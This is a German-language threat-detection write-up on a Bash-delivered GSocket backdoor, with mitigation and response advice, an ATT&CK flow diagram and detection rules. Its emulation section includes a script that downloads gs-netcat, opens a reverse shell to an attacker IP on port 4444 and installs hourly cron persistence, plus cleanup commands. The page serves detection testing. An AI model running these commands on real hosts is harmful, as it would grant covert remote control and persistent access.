GSocket-Backdoor über Bash-Skript ausgeliefert
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein bewaffnetes Bash-Skript lädt einen GSocket-Client herunter und startet ihn (gs-netcat), um eine Hintertür auf Linux- und macOS-Hosts zu etablieren. Es behält die Persistenz durch Cron-Jobs bei und ändert .profile, während ein gemeinsames Geheimnis in einer gefälschten SSH-Schlüssel-Datei gespeichert wird. Um die forensische Sichtbarkeit zu verringern, verwendet das Skript anti-forensische Methoden, die Zeitstempel ändern und Hinweise auf Dateiänderungen verbergen. Die resultierende Hintertür kommuniziert über das GSocket-Relaisnetzwerk nach außen zu einer Remote-IP.
Untersuchung
Der Forscher zündete das Skript in einer Sandbox an und bestätigte den Abruf des gs-netcat Binärdatei, das Erstellen eines auf Cron basierenden Persistenzeintrags und das Manipulieren von Benutzer-Startdateien. Eine gefälschte ELF-Datei mit dem Namen id_rsa wird in das .ssh Verzeichnis abgelegt, wobei das gemeinsame Geheimnis in das eingebettet ist, was wie ein SSH-Schlüssel aussieht. Auch Routinen zum Zurücksetzen der Zeitstempel wurden identifiziert, die auf bewusste Bemühungen hindeuten, forensische Zeitleisten zu verschleiern. Das Skript unterstützt mehrere Unix-ähnliche Systeme, indem es zuerst das Host-Betriebssystem erkennt.
Abschwächung
Verteidiger sollten ausgehenden Datenverkehr zu bekannten GSocket-Relay-Domains und IP-Adressen blockieren und auf unautorisierte Cron-Einträge oder verdächtige Änderungen an .profile and .ssh Pfade achten. Host-basierte Erkennungsmöglichkeiten sollten die Verwendung des gs-netcat Dateinamen sowie Befehle, die üblicherweise zur Manipulation von Zeitstempeln verwendet werden, kennzeichnen. Zugriffsrechte mit minimalen Rechten und Integritätsüberwachung auf Startdateien können das Potenzial der Hintertür, unbemerkt persistieren zu bleiben, weiter begrenzen.
Reaktion
Wenn diese Indikatoren erscheinen, isolieren Sie den Host, erfassen Sie das bösartige Skript und die abgelegten Binärdateien und beginnen Sie mit einer umfassenden forensischen Überprüfung. Entfernen Sie den Cron-Persistenzmechanismus und alle bösartigen Artefakte, drehen Sie betroffene SSH-Schlüssel und annulieren Sie alle geteilten Geheimnisse. Erweitern Sie die Suche über die gesamte Umgebung nach passenden Indikatoren und aktualisieren Sie die Erkennungsinhalte, um ähnliche Aktivitäten zu erfassen.
"graph TB %% Klassendefinitionen classDef technique fill:#c2e0ff classDef tool fill:#ffd9b3 classDef operator fill:#ffcc99 %% Technikknoten tech_initial_user_execution["<b>Technik</b> – <b>T1204.004 Benutzer-Ausführung</b>: Bösartiges Bash-Skript, das von einem Benutzer ausgeführt wird."] class tech_initial_user_execution technique tech_persistence_cron["<b>Technik</b> – <b>T1053.003 Geplantes Task-Job-Cron</b>: Stündlicher Cron-Job beendet und startet ein getarntes gsu2011netcat-Binärprogramm neu."] class tech_persistence_cron technique tech_boot_init["<b>Technik</b> – <b>T1037 Start-Logon-Initialisierungsskripte</b>: Injektion bösartiger Befehle in das Benutzerprofil für Persistenz."] class tech_boot_init technique tech_compromise_binary["<b>Technik</b> – <b>T1554 Host-Software-Binärdatei kompromittieren</b>: gsu2011netcat in ~/.ssh/putty kopiert und als id_rsa getarnt."] class tech_compromise_binary technique tech_private_keys["<b>Technik</b> – <b>T1552.004 Ungesicherte Anmeldeinformationen Private Schlüssel</b>: Geteiltes Geheimnis in einem gefälschten SSH-Privatschlüssel gespeichert."] class tech_private_keys technique tech_timestomp["<b>Technik</b> – <b>T1070.006 Timestomp</b>: Benutzerdefinierte Zeitstempelverfolgung und -wiederherstellung, um Dateiänderungen zu verbergen."] class tech_timestomp technique tech_time_evasion["<b>Technik</b> – <b>T1497.003 Virtualisierungssandbox-Ausweichung Zeitbasiert</b>: Zeitstempelmanipulation zur Umgehung von Analyseumgebungen."] class tech_time_evasion technique tech_protocol_tunneling["<b>Technik</b> – <b>T1572 Protokoll-Tunneling</b>: Netzwerkverkehr durch ein GSocket-Relaisnetzwerk getunnelt."] class tech_protocol_tunneling technique tech_proxy_multi["<b>Technik</b> – <b>T1090 Multiu2011hop-Proxy</b>: Verkehr wird durch das GSocket-CDN für internes und externes Proxying geleitet."] class tech_proxy_multi technique tech_ssh_lateral["<b>Technik</b> – <b>T1021.004 Remote-Services SSH</b> / <b>T1563.001 SSH-Kapern</b>: gsu2011netcat wird als getarnter SSH-Schlüssel zur lateralen Bewegung ausgeführt."] class tech_ssh_lateral technique %% Werkzeugknoten tool_gsnetcat["<b>Werkzeug</b> – <b>Name</b>: gsu2011netcat<br/><b>Beschreibung</b>: Netcat-Variante zur verdeckten Steuerung und Kontrolle verwendet."] class tool_gsnetcat tool tool_gsocket["<b>Werkzeug</b> – <b>Name</b>: GSocket CDN<br/><b>Beschreibung</b>: Relaisnetzwerk zur Bereitstellung von Tunneling- und Proxy-Diensten."] class tool_gsocket tool %% Angriffsfluss-Verbindungen tech_initial_user_execution –>|ermöglicht| tech_persistence_cron tech_persistence_cron –>|ermöglicht| tech_boot_init tech_boot_init –>|ermöglicht| tech_compromise_binary tech_compromise_binary –>|verwendet| tool_gsnetcat tech_compromise_binary –>|ermöglicht| tech_private_keys tech_private_keys –>|unterstützt| tech_timestomp tech_timestomp –>|unterstützt| tech_time_evasion tech_time_evasion –>|ermöglicht| tech_protocol_tunneling tech_protocol_tunneling –>|verwendet| tool_gsocket tool_gsocket –>|ermöglicht| tech_proxy_multi tech_proxy_multi –>|ermöglicht| tech_ssh_lateral tech_ssh_lateral –>|verwendet| tool_gsnetcat "
Angriffsfluss
Erkennungen
Cron-Datei wurde erstellt (via file_event)
Anzeigen
Versteckte Datei wurde auf Linux-Host erstellt (via file_event)
Anzeigen
Mögliche Base64-kodierte Zeichenkettenmanipulation (via cmdline)
Anzeigen
IOCs (HashSha256) zum Erkennen: GSocket-Hintertür durch Bash-Skript bereitgestellt
Anzeigen
GSocket-Hintertüreninstallation über Bash-Skript mit gs-netcat und Cron-Job-Persistenz [Linux-Prozesserstellung]
Anzeigen
Simulation Execution
Voraussetzung: Der Telemetrie- & Basislinien-Pre-Flight-Check muss bestanden sein.
-
Angriffserzählung & Befehle:
Ein Angreifer mit eingeschränkten Rechten erlangt diegs-netcatBinary aus einem öffentlichen Repository, platziert es in/usr/local/bin, und startet es, um auf Port 4444 eine Reverse-Shell zu öffnen. Um den Zugang aufrechtzuerhalten, erstellt der Angreifer einen Cron-Job, der die Hintertür jede Stunde neu startet. Die Schritte werden von einer kompromittierten Shell auf dem Ziel-Host ausgeführt. -
Regressionstest-Skript:
#!/usr/bin/env bash set -euo pipefail # 1. Download gs-netcat (simuliert mit einem kleinen Platzhalter-Binärprogramm) echo "[*] gs-netcat Platzhalter wird heruntergeladen ..." curl -s -o /usr/local/bin/gs-netcat https://raw.githubusercontent.com/maaaaz/gs-netcat/master/gs-netcat_linux_amd64 chmod +x /usr/local/bin/gs-netcat # 2. Start gs-netcat im Hintergrund (Reverse-Shell zur Angreifer-IP 10.0.0.5) echo "[*] Starten der gs-netcat Reverse-Shell ..." /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash & GSN_PID=$! # 3. Überprüfen, ob der Prozess läuft sleep 2 ps -p "$GSN_PID" -o pid,cmd # 4. Erstellen eines Cron-Jobs, der gs-netcat zu jeder vollen Stunde neu startet echo "[*] Hinzufügen von Persistenz über Cron ..." (crontab -l 2>/dev/null; echo "0 * * * * /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash >/dev/null 2>&1") | crontab - echo "[+] Simulation abgeschlossen. Auf Erkennung warten." -
Aufräumbefehle:
#!/usr/bin/env bash set -euo pipefail # Entferne den oben hinzugefügten Cron-Eintrag echo "[*] Entfernen des bösartigen Cron-Jobs ..." crontab -l | grep -v "/usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash" | crontab - # Alle laufenden gs-netcat Prozesse beenden echo "[*] gs-netcat Prozesse beenden ..." pkill -f "/usr/local/bin/gs-netcat" || true # Lösche das Binärprogramm echo "[*] gs-netcat Binärdatei löschen ..." rm -f /usr/local/bin/gs-netcat echo "[+] Bereinigung abgeschlossen."